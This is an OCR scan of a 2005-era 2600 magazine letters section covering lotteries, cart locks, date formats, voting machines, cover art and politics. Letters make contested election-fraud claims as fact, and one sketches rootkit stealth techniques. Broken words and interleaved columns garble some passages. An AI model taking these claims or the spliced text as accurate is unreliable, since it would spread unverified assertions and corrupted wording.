this i nteresti n g .  I wonder i f  the M PAA is goi n g  t o  sue 
a rchive .o rg as wel l  for  a rchivi n g  a page with "i l legal  
content." 

drlecter 

D e a r  2600: 
J ust wa nted to let the fa ns  of 2600 know that Canada 

i s  certa i n ly sti ll selli n g  the magazine .  In fact, i n  South­
ern O nta rio  I happened i nto a Co les Bookstore ( in  B ra nt­
ford) a nd  Chapters ( in  Ancaster) a nd  found  copies i n  
both locations .  So I suspect t h e  other  stores that were 
vi sited may h ave been so ld out or  had the copies h idden 
away. In  both locations  2600 was disp layed clea rly i n  the 
front row of magazi n es .  When I pu rchased my copy from 

the  Chapters, it was shown on my bi ll as " 2600 H acker 
Qua rt" which I found  terri b ly i nteresti n g .  

Freezi n g  Co ld 2600 Fan 

D e a r  2600: 
Saw a letter in the latest issue of 2600 that this g uy 

ca n 't get it at Chapters in Canada .  J ust so you know, I get 
it there a ll the ti me ,  i n cludi ng  this issue .  

That's a pretty neat trick. 

Responses 

D e a r  2600: 

Terry 

I enjoyed readi n g  the mathematica l a n a lysis i n  How 
to Hack the Lottery ( 2 1 : 3 )  but I expected mo re from 
2600 and  was disappoi nted the author failed to take i nto 
account the h uman  factors in the equati o n .  

T he  a u t ho r  i s  correct that you  can not fundamenta lly 
change the odds but what you can do is ba lance  the risk 
to rewa rd ratio .  The pu rpose of a lottery syndicate i s  not 
to i ncrease you r  odds of wi n ni ng  but to s ha re both the 
risks and  the  rewa rds over  the long  run .  

H e  a lso says there is  no  need to stay away from pat­
terns as all n u mbers h ave an equal  cha nce of comi n g  up .  
Whi le that  i s  t rue  on  one  level there wi ll a lways be some  
people p layi ng  the obvious patterns li ke 1 , 2 , 3 ,4 , 5 , 6 .  Al­
though the odds a re no difference if you did wi n you 
wou ld h ave to sp lit the p rize with many more people. If 
you want to try a nd  maxi mize you r  potentia l  wi n nings  it 
he lps to pick a combination  that is  n ot too li kely to col­
lide with other  people 's choices. It is a ll about ba la n ci ng  
the ri sks aga inst the  rewa rds .  

Havi n g  sa id  a ll that, it is  worth rememberi n g  the 
quote: "The lottery is  a tax on  the mathematica lly 
cha llenged . "  

Alan H o rkan 
D u b li n ,  Irela n d  

The author of the piece, Stankdawg, replies: 
"A 'lottery syndicate' is a term that simply refers to 

people getting together in a group to try to increase 
their chances of winning but at the risk of having to 
share the payout with the other members. It is exactly 
what you describe, a risk-to-reward approach of playing. 
I absolutely touched on this in my article in the first 
paragraph under the header 'Myths '  since it is a very 
common theory. 

"I used a small example of a 'syndicate' referring to 
office pools of lottery players. Choosing 20 picks out of 
a lmost 16 million is still pretty small, but by increasing 
the syndicate you could continually increase your 
chances of winning right up to the 'play every number' 
theory. At  the same time, however, you are causing the 
amount of winning to decrease due to the shared win­
nings with each additional syndicate member. This is a 
true statement. Some people who believe in this 
myth/theory think that they will win more frequently due 
to the odds being better (keep in mind that  they are still 
phenomenal) and even if they have to share it, it will pay 
off in the long run through repeated small wins or one 
big win. 

"The problem here is that it is just as much of a the­
ory as everything else. It will take long term analysis to 
decide whether it does pay off in the long run. Without 
going into the business viewpoint that money that does­
n 't earn interest is actually losing more money, I will 
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simply point at the facts. Do a search for 'lottery syndi­
cate wins lottery' and you will not find any large syndi­
cates winning any large amounts of money with any 
regularity. I would debate that any individual wins by a 
syndicate were by random chance more than any 'sys­
tem. ' 

"Looking at the facts, I simply do not see enough ev­
idence to say that  syndicates are any more successful 
then individual groups. I saw a few office groups that 
won the lottery, but this happened without any large 
syndicate effectiveness. If these syndicate systems 
worked, wouldn 't more people have seen and heard 
about the success stories? It is kind of hard to hide a pat­
tern of success in winning the lottery! These were small 
office groups with only one that was over 30 people. 
Even then, it was the same simple luck by which individ­
ual winners have won. Even if a syndicate of 500 people 
won 10 million dollars, when you split that up they get 
$20,000 each. Most syndicates look to be around 50 peo­
ple in number depending on the lottery in question so 
that  they guarantee smaller wins while hoping for 'the 
big one. ' It is definitely an increase in your odds which I 
stated in my article, but it is still ridiculously stacked 
against you no matter what. 

"Common sense comes into play here. If a syndicate 
were really that effective, don 't you think the lottery 
would rig it with more numbers to nullify that  effective­
ness? Trust me, they have done their homework and they 
are glad to let the syndicates pump up the jackpot for 
them. They know that in the long run, they will always 
win. 

"In my opinion, if I were going to play the lottery, I 
would take my dumb luck chance at a 10 million dollar 
payday than sharing it with 499 others. Of course this is 
my opinion, and others may disagree. But I will keep my 
money in my pocket. " 

D e a r  2600: 
My letter i s  in response to LabGeek's letter in 21 :4 .  I 

had  the p rivi lege of worki ng  as part of the ma nagement 
team of a new Wal-Mart in the Northeast. The yellow li n e  
i s  d rawn a s  a guide for shoppers so they can visua lize 
where the border i s .  The actua l  border is  created by a 
wi re r unn i ng  underground .  The system is based on RF, 
though I do not know the actua l  frequencies or the 
ra nge .  We h ave tried lifti ng  the ca rts a foot off the 
g round ,  but the locks  sti ll engaged .  Amusi ng ly, per 
2600 's response ,  we were successfu l i n  getti ng  over the 
ba rrier  by lifti ng  the ca rts above our  heads .  

Jaypoc 

Dear 2600: 
It looks li ke the a rticle in 2 1 : 1  ( "Setti n g  You r  Music 

Free") and the response i n  2 1 : 3  from Cameron both mis­
ta ken ly refer to AAC codec as an Apple Product. The AAC 
(Adva nced Audio Codi ng )  was developed by Do lby Labs 
and is  i ntegrated i nto M PEG-4. Apple is  merely a n  early 
adopter of the techno logy, i n corporati n g  MPEG-4 
i nto thei r  latest QuickTime,  maki n g  it the defau lt codec 
in iTunes ,  and addi n g  support fo r it i n  thei r  ha rdwa re 
p layers. 

Alop 

D e a r  2600: 
Fi rst off guys, g reat mag ,  radio show, can ,  DVD . . . .  
I ' m  writi n g  about White H at's letter about date format 

i n  2 1 :4 .  I 'm a n  Austra li a n  too, so I norma lly write the 
date dd-mm-yyyy. WhiteHat seemed to thi n k  that this 
was a n other  logica l suggestion  but he 's  completely 
wrong .  

On  a computer if you  write the date as  dd-mm-yyyy, 
fi les end  up out of order. 01-01-1985 comes before 12-
12-2004 (fi les from each year  wou ld be mixed up  with 
each other) . Whitehat's response is  a bit poi ntless, but 
mostly a n n oyi n g .  

BitPi m p  

D e a r  2600: 
I missed the origi n a l  a rti cle but am respond ing  to 

the letter by White Hat in the  cu rrent issue of 2600 
(2 1 : 4) . 

Whi lst you fi nd  dd-mm-yyyy logica l a nd  fami li a r, the 
ma in  objection  to that format i s  that fo r the fi rst 12  days 
of every month it is  i mpossi b le to tell if the date is  i n  dd­
m m-yyyy o r  i n  m m-dd-yyyy format with obvious  conse­
quences.  

With the date written li ke 2005-03-01 this is  always 
yyyy-mm-dd because no  one  uses yyyy-dd-mm at a ll. 
There is  o n ly one i nterpretation  for that date. 

This has  a lready been decided i n  Internationa l  Sta n­
da rds such as  ISO 8601,  a nd  ea rlie r  ISO sta nda rds back as  
fa r as  1971 ;  a n d  i n  Internet RFC documents such as  RFC  
3339 .  

Many programs,  app li cations ,  data  formats, and  
websites a lready use the " n ew" fo rmat a nd  there is  a 
la rge amount of i nformation  about this topic to be found  
on  the Internet. 

s p i ke 

D e a r  2600: 
I am writi n g  in response to Jeff's letter in 2 1 : 4  re­

ga rdi n g  hacki n g  a voti n g  machi ne .  Hacki n g  a voti n g  ma­
ch ine  is  such a mi no r  issue compared to corrupti o n .  It's 
no coi ncidence that Diebold 's new touch screen voti ng  
machi nes have  no  pape r  tra i l .  Diebold a lso makes ATMs,  
checkout sca n ners, and ti cket machi nes ,  al l  of which log 
each tra nsaction  and ca n generate a paper trai l .  

It i s  a lso n ot mathemati ca lly possi ble for u n cor­
rupted mach ines that all ( not some) of the voti n g  ma­
chine errors detected and reported i n  Florida i n  2000 
were i n  favor of Bush or  Republican ca ndidates. However, 
that is what happened .  

It's a lso no  coi ncidence that Walden O 'De ll. Cha i rman 
a nd  CEO of Diebold i s  a majo r  Bush  campaign  organizer 
and donor who wrote i n  2003 that h e  was "committed to 
helpi ng  Oh io  de liver its e lectora l votes to the president 
next yea r. " 

It's a lso no coi n cidence that exit po lls in Oh io  d u ri n g  
the general  election  i n  2004  showed Kerry shou ld h ave 
taken Oh io  by fou r  points, yet the votes actua lly recorded 
gave Oh io ,  a n d  thus the country, to Bush .  

It's a lso no  coi ncidence that  votes recorded i n  eig ht 
of the other ten battleg round  states differed from exit 
po lls by between 2 . 2  a nd  9 . 5  points, a n d  a ll discrepan­
cies ( n ot some) favo red Bush  ( an  impossible anoma ly) .  

Note that th i s  i s  not a pa rti san  i s sue .  I 'm a registered 
Repub lica n .  But that i s  not the point. The poi nt is  that 
the pub lic  vote doesn 't count in the U .S .  since the e lec­
tion  appea rs to be rigged .  

The h ackers a re the ones who wrote the software for 
the voti ng  machi nes in the fi rst p lace. No need to pick 
the lock on  j ust one voti ng  machi ne .  
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Please with ho ld any identification  for fea r of Govern­
ment retri buti o n .  

It's hard to  believe that it's this cut and  dry. For one 
thing, it would be monumentally stupid for one party to 
have this kind of control and to attempt any sort of 
corruption. Yet there are confirmed reports that are hard 
to excuse. We can only hope that this is thoroughly 
investigated and that the truth will come out. 

D e a r  2600: 
There needs to be a correction  in PurpleSquid 's  letter 

( 2 1 : 4 ) .  The way he gave the i nformati on was lackluster 
at best and tota lly out of context at worst. 

Whi le i ndeed a voti n g  machi ne  had 4258 votes on  it 
in Oh io ,  it was located a n d  the votes were de leted two 
hou rs before the polls even opened accordi ng  to the U . S .  
a n d  State Election  Boards  a nd  documented by  both the  
Democrati c  a nd  Republican Nationa l  Committees. Squid 
gives the imp ression  that these votes were counted and 
that i s  tota lly fa lse .  

Accordi ng  to a ll the i nvestigations  by the press a n d  
t h e  Federa l  Election  Com missi on ,  there w a s  n o  difference 
between the resu lts with the paper trai ls and the states 
that d idn 't have paper trai ls. Seems that Squid 's  i nforma­
tion  is  yet again i n  error. 

In Baker County, Florida ,  there again was no problem 
with the vote. In the last eight  p residentia l  elections ,  
the voters i n  th i s  county have repeatedly gone  to the Re­
pub licans and this has been documented so by none  
other  then the Florida State Election  Commission  a nd  the  
U . S .  Federa l E lections  Com mission a nd  the resu lts a re on  
fi le at  the U .S .  Library of Congress (http ://www. loc .gov) . 
Consideri ng  that it is a federa l  felony i n  the U . S .  to fal­
sify these forms,  I h i gh ly doubt that a ny sa ne  person 
would want to spend a ny ti me  i n  prison because of this 
for any reason .  This means that every presi denti a l  elec­
tion  from Ca rter th rough  Reagan-Bush-Cli nton a nd  back 
to Bush  has been documented i n  this county, and the 
people who did the i nvestigation  were the Flo rida Demo­
cratic  Party with help from the Democratic  Nationa l  Com­
mittee. Yet a nother myth bei n g  passed a round  as  true in  
a cou ntry that has tried to get U .S .  forces out of other  
Eu ropean countries by a ny means possi ble si n ce the end 
of WW2,  a nd  forget the simp le fact that  these countries 
have asked us to stay. Could it be that the Netherlands  
a re pissed they do  not have any U .S .  bases there, a n d  as  
such do  not receive a ny benefits from same? Li ke sa les 
a n d  taxes? 

Now whi le hacki n g  a Diebold mach ine was widely re­
ported on  the net as  bei n g  possib le, even ABC-N BC-CBS­
CNN al l  admitted that they 'J umped the gun on this story 
a n d  had no  factua l data to back this up  nor p rove it ever 
happened . "  And the people that said they hacked this 
machine were unab le to do  it i n  front of witnesses. Now 
i sn 't that stra nge  that you ca n hack somethi ng  o n ly 
once? Once you have your way i n ,  u n less the whole ma­
ch ine is  reprogram m ed (and  this machi n e  was n ot as it 
was p laced under  lock and key after the hacki n g  was 
stated) ,  then why couldn 't these people hack this with 
witnesses watchi ng?  Someth ing  sti n ks i n  the Nether­
la nds  a nd  meth i nk s  it is what Pu rpleSquid is bei n g  told . 

Maybe PurpleSquid s hou ld stop readi n g  magazi n es i n  
t h e  Netherlands  that a re equal  t o  t h e  superma rket 
tab loids ( Enquirer, News of the World, Star, etc . )  h ere i n  
t h e  States, a nd  pay more attention  t o  i nfo rmation  that 
can actua lly be used, li ke your magazi ne .  

J eez, some people wi ll believe a nythi n g .  
Daniel  G ray 

Defian ce, O h i o  
Let  us  start by saying that's the coolest sounding 

name of any dty in America. As for the Diebold issue, 
there are simply too many weird things going on to be ig­
nored. The lack of open source software, paper trails, or 
overall accountability is troublesome at best. The issues 
you dted have not been resolved as neatly as you seem 
to think. And we couldn 't find that quote from the media 
you dted above anywhere. Put simply, this is not about 
Republicans and Democrats. It's not about the Nether­
lands. It's about setting up the most important computer 
system in our nation 's history and doing it in a way that's 
fair and accountable to everyone. This isn 't accomplished 
through secrecy. As long as such secrecy exists, there 
will always be doubts and there will a lways be rumors. If 
you want these to go away, then there has to be some 
level of accountability. And so, we propose the following 
to Diebold: let us hack your machines at the next HOPE 
conference in 2006. We will operate the system as if we 
were an election board. We will try to cheat. We will try to 
create problems of all sorts. And in the end, we will let 
everyone know what we learned. What  possible reason 
could there be for not accepting such a challenge? 

D e a r  2600: 
In response to Forgotten247's a rticle in 21 :4 ,  uti liz­

ing several tools avai lab le on the open ma rket (such as  
sysi nterna ls . com)  a nd  havi n g  a detai led knowledge of a 
baseli ne  Wi ndows system (which I assure you, many se­
cu rity professi ona ls do ) ,  your stealth methods a re i ll 
conceived and  neglig ible .  If you rea lly wish to create a 
stea lth app li cation  that can not (easily) be found ,  you 
need to create a kernel level rootkit that can i nterrupt 
system ca lls (both Wi ndows API and Raw) that request 
i nformation  for the program fi les and p rocess i nforma­
tion  i n  q uesti on .  If you can pu ll that off, then the on ly 
way to semi-reliab ly detect your "h idden"  process wou ld 
be to do a fu ll disk a na lysis from a different OS .  Now it i s  
sti ll possib le theoretica lly to h ide the file from even this, 
but that would take a lot of resea rch and i n  depth knowl­
edge of file systems, the regi stry, a nd  the li ke .  Best of 
luck on you r  stealth ing  endeavors. By the way, a vi rus 
sca n ner wou ld detect your "stea lth ing"  methods as  soon 
as a copy of the exp loit made it across the desks of any 
releva nt researcher. Possi b ly sooner. 

Dear  2600: 

The Ste a lthed One  
(yea h .  Rig h t ! )  

Thanks  for you r  words i n  the "Stick Around "  piece i n  
2 1 : 4 .  I w a s  begi nn i ng  t o  feel a little overwhelmed,  as I 'm 
su re we a ll do  at times .  What you said was j ust what I 
needed to hea r. It's good to be remi nded that we a re, i n  
fact, legi o n .  The g reed-mongers ,  fascists, warlords, 
megalomaniacs, and those who spread fea r for thei r  own 
gai n wi ll rea lize that they' re the ones who shou ld be wor­
ried .  After a ll, there rea lly a re a lot more of us than  there 
a re of them . The power is in a ll ou r  hands .  Their o n ly rea l 
power li es i n  ou r  own self-doubt. You know the quote 
about good men doi n g  nothi n g .  Well, I'm goi n g  to do my 
pa rt. Tha n k  you again fo r you r  words of encouragement 
and,  of course, for your truly rad a nd  abso lutely neces­
sary pub li cati o n .  

Chaad 
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D e a r  2600: 
I j ust fi n ished read ing  battery's g reat a rti cle on Tick­

etmaster in 21 :4 .  I buy tickets there frequently a n d  I was 
wonderi n g  if anyone out there has had the chance to 
look  under  the hood of the vi rtua l  waiti n g  room system .  
I have been tryi n g  t o  fi gu re out t h e  mechanism that 
specifies you r  p lace i n  " li ne . "  

Also , concerni n g  Caba l  Agent #l ' s  response to 
Zou rick about Li nux  systems  in the federal government 
i n  21 :4 :  Am I the o n ly one  who i s  a n n oyed by the h a lf 
page of bu reaucrati c  acronyms that bold ly procla ims  that 
Li n ux is n ot certified for federal use? I app laud  the agen­
cies and the admins that a re usi n g  Li n ux without a utho­
rizati on !  Especia lly si n ce common citizens li ke you and  
me  a re footi n g  the bill fo r massively over-a rchitected 
systems  that a re designed by these bu reaucrats who have 
no i n centive to do thi ngs  cheaply. 

5 ki lLc raft 

Cover Letters 

D e a r  2600: 
Love your  magazi ne !  It was recom mended by the i n ­

structor at a Microsoft class I was  taki n g .  So I bought  a 
magazi n e  a n d  later subscribed .  I j ust received 21 :4 .  I was 
wonderi n g  about the pale image of a face on  the front 
cover. I don 't rea lly recognize the face, but I ca n see it 
there on  the upper  right  corner, among  the trees. Whose 
face is  it? Why is it there? 

a n o nymous 
Please al low us to ask the questions. 

D e a r  2600: 
I see George Bush .  

g m csparra n 3  
A l l  the time? 

Dear 2600: 
Well, I'm taki n g  the cover of 2 1 : 4  literally a nd  I 'm 

sayi n g  someth ing about what I see. I see M r. George 
Bush's head in the corner and I see the black tombstone  
below hi m .  I see  the images of  past 2600 magazi n e  cov­
ers on the tombstones beside  corporate logos a nd  mas­
cots, and the word " ERASE" on the tomb  n u m bered 
especia lly for a ll of you .  And don 't thi n k  I overlooked the 
"5555" which wi ll get you searched before getti n g  on an 
airplane .  

One  of the reasons  I love 2600 i s  because of  the cre­
ative ( and  mo re often than not crypti c) cover which 
accompa nies every issue .  Keep up  the g reat work! 

Faber 

D e a r  2600: 
Followi ng  the advice on the cover of you r  n ew issue 

("if you see somethi ng ,  say somethi ng " ) ,  I noticed the . . .  
u h  . . .  g hostli ke image  o f  Gee Dubbya over t h e  g raveya rd.  
Very nice touch .  I 'm not completely su re what it 's sup­
posed to mean,  but it ' s  cool. As for you r  magazine ,  keep 
doi n g  what you ' re doi n g  beca use it ki cks ass .  

j o h n 2 kx 

turned the pages.  So just to be cautious  I p laced the mag  
discreetly i n  my bottom d rawer a nd  saved the readi ng  for 
later when I was su re no  one was loo ki n g .  I returned to 
my d rawer th ree hou rs later to fi n d  that it was none  
other than George W .  Bush  h imself who was  watch i ng  
me !  

I wou ld ju st  li ke to  read  one  i s sue  i n  peace. 
jason 

D e a r  2600: 
Whi le sitti ng  in class readi n g  21 :4,  I read a letter 

about sub lim ina l  messages in the cover a rt. So I fli pped 
the magazi ne  over and under the lighti n g  I saw the word 
"erase" on  the closest tom bstone .  E n lig htened,  I m oved 
it under  the light  to see If I cou ld fi n d  a nythi n g  else. 
Then al l  of a sudden Bush ' s  face appeared and scared the 
crap out of me .  I norma lly don 't li ke the s ight  of h im at  
a ny time  so sudden ly seei n g  h im hidden i n  the cover s u r­
prised me a bit. Once I got home  from school  I put it un­
der a black light  wh ich  makes the words very apparent. I 
a lso sca n ned 2 1 : 2  a n d  I saw the word "OBEY" a nd  i n  2 1 : 3  
I s a w  " PROTECT" written i n  i t .  I wi ll n o w  be sca n ni n g  
every issue for more su rprises.  

Dear 2600: 
Thanks  for such a g reat magazi ne  a n d  a beautifu l pic­

tu re of good ol' GW on the cover. So patriotic, yet so very 
scary! 

Alex 

D e a r  2600: 
I do n ot usua lly write but had  to say somethi n g .  I 

saw somethi n g .  I thought it was a stai n left by my d ri n k  
on t h e  cover o f  21 :4 .  However, i t  was a different type of 
stai n .  In the right  corner. Sta rtled me. Thanks for the 
g reat magazi ne .  

mi les b o g u s  

D e a r  2600: 
Hono r. Obey. Protect. Erase. Bush?  

Di gita lDesperado 

Dear 2600: 
I rea lly dig the UV i n k  used lately. I've noticed it fo r a 

whi le a nd  si nce nobody else has  said a nyth ing  (other 
than the fact that someti mes they see it by reflecti on ) ,  I 
thought I wou ld menti on it. 

Thanks  for conti n ui n g  to put out a great mag fo r a ll 
these yea rs! 

Critiques 

D e a r  2600: 

M a rtia n  

I have been a long  time  fan o f  y o u r  magazi ne .  H ow­
ever, I believe that politi cs needs to be left out. I li ke to 
read a nd  be i nformed of tech nica l  issues a nd  I know peo­
ple from New Yo rk loathe Bush because, let's face it. h e  is  
a Repub lica n .  New York is  not known fo r thei r  support of 
Repub licans  and  I understan d  you a re pissed off that he  

D e a r  2600: won and  need to vent. But please do not do it in this 
So I j ust picked u p  the latest copy of 2600 and as  a l- magazi ne .  I know you thi n k  it is cute to put Bush on the 

ways I cou ld n 't wait u nti l I was i n  the privacy of my office cover a nd  whatever but I ca n n ot go a nywhere without 
with the door  shut  (to avoid any suspi cious  o n lookers) to heari n g  about politics.  It is  over a nd  I suggest the people 
crack open the fi rst page.  Somehow I sti ll felt uptight as get over it. Yes I agree with rig hts, I a m  an  anti-federal-
though someone was watch ing  over my every m ove as I ist. a nd  I believe in state rig hts. I do not believe Bush  i s  
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a wa rmonger  a nd  1 do n ot believe that terrori sts s hou ld 
be sent i nto a court li ke we shou ld .  

With that said,  1 agree that U . S .  citizens s hou ld not 
be subjected to ra ndom searches of thei r  houses without 
thei r  knowledge and Americans shou ld not be he ld with­
out tria l, lawyer, and so forth . You have my support 100 
percent on that. However, if we capture terrori sts or 
someone who we suspect i s  a terrorist (who i s  n ot an 
America n ) ,  then 1 don 't ca re i f they don 't have rig hts , be­
cause they don 't! The Geneva Convention  does not grant 
them this right  at a ll. As fa r as  torturi n g  them,  if it saves 
our troops '  lives, go for it. We did not sta rt this war a nd  
our  soldiers s hou ld not  d i e  because we  a re too  afraid to 
let them go without sleep because a bunch  of left wi ng  
n ut jobs a re p rotesti n g  them to  regai n thei r  lost power. 

1 know most " hackers" a re rea lly left wi n g  a nd  a re a l­
m ost com m unist. G ra nted ,  1 can n ot group a ll of them i n  
the s a m e  category si n ce 1 believe my stance i s  right  wi n g  
even though B u s h  is  t h e  fi rst Repub li ca n  president 1 have 
voted for. Maki n g  people awa re of thei r  rig hts i s  one  
thi ng ,  telli n g  them they a re losi ng  them is OK ,  but to 
b lame  it on one  man  is a joke.  It is  both pa rties' fa u lt 
that we have ou r  rig hts degraded as fa r as they a re now 
( Li n coln started this with the backi ng  of a strong  federal 
government) . But it 's  even more the fau lt of the Ameri­
can people because they have let it s li p  this fa r. If you 
ever watch Jay Leno's jay-wa lki n g  o r  Sean Han nity's man  
on  the street qu i z ,  the majority of  people my age and  
younger ( 23 )  have n o  clue who the vice p resident i s  o r  
what  the amendments a re .  Let a lone  the B i l l  of Rig hts ! 1 
know 1 have turned this i nto a political  ramb li n g  a n d  I 
am sorry but 1 beg of you,  please, no more .  Ta lk about 
rig hts , talk about how they a re bei n g  taken away, but be 
as  parti a l  as  you can .  I ca n not take a nymore " Left hates 
America,  Right  a re fasci sts taki n g  our rig hts away" p ro­
paganda .  

Rage1605  
Nice job keeping politics out. Or did you mean for us 

to stop talking about these issues after you talked about 
them? First off, we discuss a lot of things and the space 
taken up by this kind of a topic has always been fairly 
minimal. Second, if it's something that's on people 's 
minds, then why should we deny them the right to ex­
press themselves? Like anything else, hackers have inter­
esting perspectives on these issues. Plus, it's generally a 
good thing to express yourself and expose yourself to 
other opinions. 

Having been exposed to your opinions, we cannot re­
act with silence. You believe it's acceptable to abduct 
people from foreign countries and torture them? We 
hope you realize that  there are many people throughout 
the world who have the desire and would have the right 
to do the same to you under your own logic. If that's the 
world you want to live in, you're well on the way towards 
getting there. You say we didn't start this war? We in­
vaded a country that never attacked us and had neither 
plans nor ability to do so. Regardless of what kind of so­
ciety we manage to create over there, you can never es­
cape that  fact. You obviously have all kinds of problems 

on your mind is a good thing. We're glad you took the 
opportunity and hope you understand why we'll continue 
to give others the chance. 

Problems 

Dear 2600: 
In case you haven't heard, the company ChoicePoint 

has  been selli n g  persona l  data (Soci a l  Security n u m bers, 
phone  n u mbers, add resses, etc . )  to companies .  Someone 
created a fa ke company and  ordered i nfo o n  145 ,000 
people a n d  so fa r 50 suspicious  credit accounts have 
been created in the names of people who have had thei r  
identity stole n .  This is  beyond  wrong .  T h e  crim i na l  i n  this 
case is  ChoicePoi nt! ChoicePoi nt and every company li ke 
them shou ld be s h ut down ! If the U . S .  government 
refuses to do  somethi n g  about these companies I hope 
someone else does .  

Ph rea ki n p h u n  

D e a r  2600: 
1 just wa nna  say a ll the usual  "1 love your  magazi n e" 

stuff before 1 say what 1 have to say. 1 do love it a nd  I've 
been readi ng  it fo r two years n ow. 

This weekend  I went to pick up  2 1 :4  and a lm ost had a 
ca na ry in the magazi n e  shop  when it was $ 1 5  Canadia n !  
1 thought for su re i t  was a mistake a n d  asked the lady if 
she accidenta lly put the wrong  p rice on  the magazi ne .  
She  replied that  she  hadn 't a nd  that  it was  now $15  
everywhere .  I cou ld n 't believe it - I a lm ost d i ed .  I liter­
al ly sat in that magazi ne  shop  a n d  de liberated over it for 
20 mi n utes. Was it worth it or n ot? Of cou rse it i s .  But if 
1 have to pay more, 1 wou ld li ke to voice some concerns .  

Fi rst off, I j ust have to  say t ha t  close to  a 50  percent 
p rice h ike i s  a huge  price hike and I have a feeli n g  that it 
may deter a lot of readers. How have you hand led the 
price hike with the subscribers? 

Second ly, 1 felt com pletely ri pped off when 1 read 
about 50  percent of the letters (my favorite pa rt of you r  
magazine )  were written b y  teenyboppers who  a re p lan ­
n ing  a DOS attacks on  thei r  s choo l  n etworks .  1 mean who  
a re these kids a n d  why do  you  keep pub li sh i n g  these let­
ters? 1 thi n k  we n eed to get over the who le idea of "what 
makes a hacker" letters. I mean either  you get it o r  you 
don 't .  My suggesti o n :  have a page that defi nes " hacker" 
as you see fit, but p lease don 't fi ll up the letters pages 
with them anymore .  Please. 

1 don 't mean to ri p on you com pletely and of course 
there i s  sti ll usefu l i nfo . I j ust feel li ke 1 have to dig a bit 
more to fi n d  it than  I used to . 

a n d e h lu 
Whoever sold you that magazine ripped you off. Our 

price in Canada has not increased for some time. Our 
price is $8. 15 in Canadian dollars (which would make 
such an increase closer to 100 percent than to 50 per­
cent). We suspect someone covered the "8" and con­
vinced you that  it was 15 dollars. It's either incredibly 
sleazy or incredibly stupid. Either way, march back there 
and demand a refund. 

with what you imagine to be the "left wing. " But these is- Dear  2600: 
sues are of concern for people of all political bents. 1 am saddened by the current state of affa i rs in this 
Hackers come from a ll kinds of different political back- country. To begi n with ,  1 recently read a s u rvey in which 
grounds and ideologies so please don 't assume that they a majo rity of h igh  school  students did n ot know what the 
all believe the same thing. One thing that  most would First Amendment of the Constitutio n  p rovided .  When 
probably agree upon is  that  expressing something that's read the exact text of the Fi rst Amendment, mo re than  
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one  thi rd of the students felt it went "too fa r" in the 
rig hts it p rovided .  Furthermore, o n ly h a lf of the students 
su rveyed felt that newspapers shou ld be a llowed to pub­
li sh  freely without government approva l. Th ree qua rters 
of students po lled said that flag burn ing  was i llega l  a nd  
about ha lf of t hem  s a i d  that the government had  the au ­
thority to  restri ct i n decent materia l  on  the Internet. This 
a lmost m a kes me  cry! We live i n  a country where the 
leader has  pub lic ly stated that he  would p refer a dicta­
torsh ip ,  where b latant election  fraud  has occurred i n  the 
form of unverifi ab le ba llots , where the common  pub lic  
thi nks  that aski n g  questions  about government actions  
i s  unpatriotic, a n d  now, the future of the country th inks  
that  we have too  many freedoms .  I urge everyon e  who 
reads  2600, anyone who believes that i nformation 
shou ld be free a n d  that speech is  free, to speak up  and 
speak out against this tide of comp lacency. It  is  ou r  re­
sponsib i lity to be critical of our government. If we do  not 
act, the fiction  of 1 984 wi ll become our reality. 

Alop 
In all fairness, we don 't believe Bush was actually 

wishing for a dictatorship but simply attempting to make 
one of those points of his that never really took off. But 
your warnings are definitely right on target. Being aware 
and awake are essential for the future. 

D e a r  2600: 
I attended a 2600 meeti n g  for the fi rst time  at the 

Barnes and Nob le i n  the Ba ltimore Ha rbor. I am  disap­
poi nted to fi nd  out what goes on. When I showed up  I 
was told that noth i ng  rea lly goes on but talki n g  between 
others who show up .  This i n  no  way con stitutes a meet­
i ng .  Instead ,  it's a live chat room you feel awkwa rd join­
ing .  I was under  the assumption  that everyone  was ab le 
to attend  a 2600 meeti n g  but I never p la n  to read an ­
other  2600 a rticle o r  atten d  another  2600 m eeti n g  
agai n .  After getti n g  t h e  cold shou lder from a l l  a t  the 
meeti n g  and n o  response from the webmaster of the 
Maryla n d  2600 m eeti n g  site (who i s  n ot keepi ng  it up­
dated) ,  I a m  now writi n g  to you to p lease step i n  a nd  do  
someth ing  about  this chapter of la me  so-ca lled hackers 
i n  Maryla n d .  

rya n  
Since you 're never going to read us  again, there 's re­

ally no way we can address your concerns to you. But it 
should be understood that  these are not meetings with 
lectures and agendas but gatherings where everyone is 
free to converse with whomever they choose in a public 
area. We're sorry if you 're not comfortable being a part of 
this but that's how it is. We encourage all who attend 
to be open to newcomers and not form cliques. And new­
comers should avoid jumping to conclusions. 

D e a r  2600: 
I have been pu rchasing you r  magazi ne  (when I can 

fi nd it) fo r the last fou r  o r  five yea rs and want to let you 
know that I found  it, but not without some diggi n g .  It 
seems that Barnes and Noble ca rries your fi ne  pub lica­
tion  but chooses to keep it hidden away i n  a d rawer. Af­
ter searchi n g  for a min ute (I don 't have a lot of 
patience) ,  I asked the cashier where it was. She  s howed 
me and  did n 't give me a reason as  to why it is  h idden 
away. 

Ch ris 

Complaints to the store manager usually are enough to 
resolve the situation. If this doesn 't work, let us know 
the specifics. 

D e a r  2600: 
I was on vacation  recently in Michigan to see some 

friends .  Whi le there, I stayed at both  a Baymont Inn  and 
a Days Inn .  Whi le at the Baymont Inn ,  I had  good u n re­
stricted wi reless access. No one  tried to censor all the 
porn o r  hacki n g  sites I visited and downloaded from .  N ot 
a problem .  I hig h ly recommend  them .  About ha lfway 
through my trip ,  I m oved over to a nea rby Days Inn  due  
to  price ra nge considerations .  Whi le at the Days Inn  I 
had  relatively good cable access a n d  I was satisfied .  To­
wards the end of my stay, I was abruptly cut off i n  the 
midd le of a download from asta lavi sta . co m .  I thought 
the s ite was down and  I conti n ued surfi ng ,  n oti n g  as  
ti me  went on  that I conti n ua lly received time  out mes­
sages from them.  Eventua lly when I got the same m es­
sage from 2600 .com and a n um ber of other sites, I 
rea lized it had  been b locked by whatever server they 
were usi n g  to manage con nections  at the hotel. This was 
a n noyi ng  but I was wi lli n g  to let bygones be bygones .  I 
con nected to a proxy a n d  was happi ly down loadi n g  for 
about two hou rs before the admin  cut off access to my 
p roxy. Well ,  need less to say, this pissed me  off to no  end .  
I switched off the p roxy and  wrote thei r  corporate head­
qua rters a nasty note stati n g  that I would never patron ­
i ze  a ny estab lish ment of  thei rs aga i n  a nd  that  I wou ld 
h i gh ly recommend  al l  my friends  fi n d  other accommoda­
tions  un less drastic action  was taken a nd  I was given a n  
apology. To date I've received neither a rep ly no r  a n  ac­
knowledgment. So this is me recommend ing  to a ll the 
happy hackers out there not to ever visit Days In n .  

Jon  
The one thing you didn 't tell us  was what  excuse they 

